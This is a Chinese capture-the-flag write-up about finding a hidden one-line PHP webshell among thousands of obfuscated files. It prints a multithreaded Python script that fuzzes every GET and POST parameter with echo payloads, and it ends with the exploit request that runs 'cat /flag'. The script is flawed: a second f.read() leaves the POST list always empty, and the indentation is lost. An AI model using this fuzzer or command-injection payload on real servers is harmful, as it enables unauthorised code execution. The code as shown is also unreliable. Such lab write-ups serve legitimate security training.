知识点:脚本编写能力
下载文件,并解压文件。
windows可以直接winrar解压,Linux:tar -xzvf file.tar.gz //解压tar.gz
有几千个文件随便访问
有一堆没用的参数,所以这题一个要从几千个文件找那个可以实现一句话木马的地方。
怎么用脚本实现呢?一头雾水,这边用别的师傅的脚本
import os
import requests
import re
import threading
import time
print('start: '+ time.asctime( time.localtime(time.time()) ))
#输出当前日期时间
s1=threading.Semaphore(100)
#线程数100
filePath = r"E:\phpstudy\phpstudy_pro\WWW\src"
#为文件地址
os.chdir(filePath)
#改变当前工作目录到指定的路径
#本来的工作目录在D盘,修改到文件所在地址
requests.adapters.DEFAULT_RETRIES = 5
#连接失败后重连的次数为5次,因为如果线程如果太高,可能访问有时会报错
files = os.listdir(filePath)
#列出filePath路径下所有文件名
session = requests.Session()
#保持会话
session.keep_alive = False
#设置连接活跃状态为False
def get_content(file):
s1.acquire()
#多个线程共同对某个数据修改,则可能出现不可预料的结果,为了保证数据的正确性,需要对多个线程进行同步。共享数据。
#比如a要访问flag这个参数,但b正在访问,那么先暂停a,等b执行完在执行a。
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
#输出时间
with open(file,encoding='utf-8') as f:
#以utf-8打开文件
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
#全局正则匹配,读出当前文件的所有get参数
#\$对$转义\[、\'、\]同样是转义,(.*?)以非贪婪模式匹配\' \'内的所有字符串,并分组
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
#全局正则匹配,读出当前文件的所有post参数
data = {}
params = {}
#data数组存post参数值,params存get参数名
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
#把所有的get和post参数名以键名的方式赋给data和params,并赋值echo 'xxxxxx';
#赋值echo 'xxxxxx';是为了方便我们判断此参数有没有用。
url = 'http://localhost/src/'+file
req = session.post(url, data=data, params=params)
#会话方式,和requests.post访问查不多,但在这里会更快,它不需要不停重新访问。
#一次性请求所有的GET和POST
req.close()
#关闭会话,释放内存
req.encoding = 'utf-8'
content = req.text
#得到所有访问的页面内容
#print(content)
if "xxxxxx" in content:
#如果发现存在,则继续挨个访问,并筛选出具体的参数
flag = 0
#用来判断是get请求成功,则为1,是post成功则为0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close()
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
#如果此时flag不为1,则说明get所有参数都不存在
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close()
if "xxxxxx" in content:
break
if flag == 1:
param = a
#如果flag为1,则记录param为a,也就是此时get参数名
else:
param = b
print('file: '+file+" and param:%s" %param)
#输出成功的文件名和参数名
print('endtime: ' + time.asctime(time.localtime(time.time())))
s1.release()
#释放锁,开始下一个线程
for i in files:
t = threading.Thread(target=get_content, args=(i,))
t.start()
#线程开始
看到可传文件名
到本地试试输出个数字
flag:
xk0SzyKwfzw.php?Efa5BVG=cat%20/flag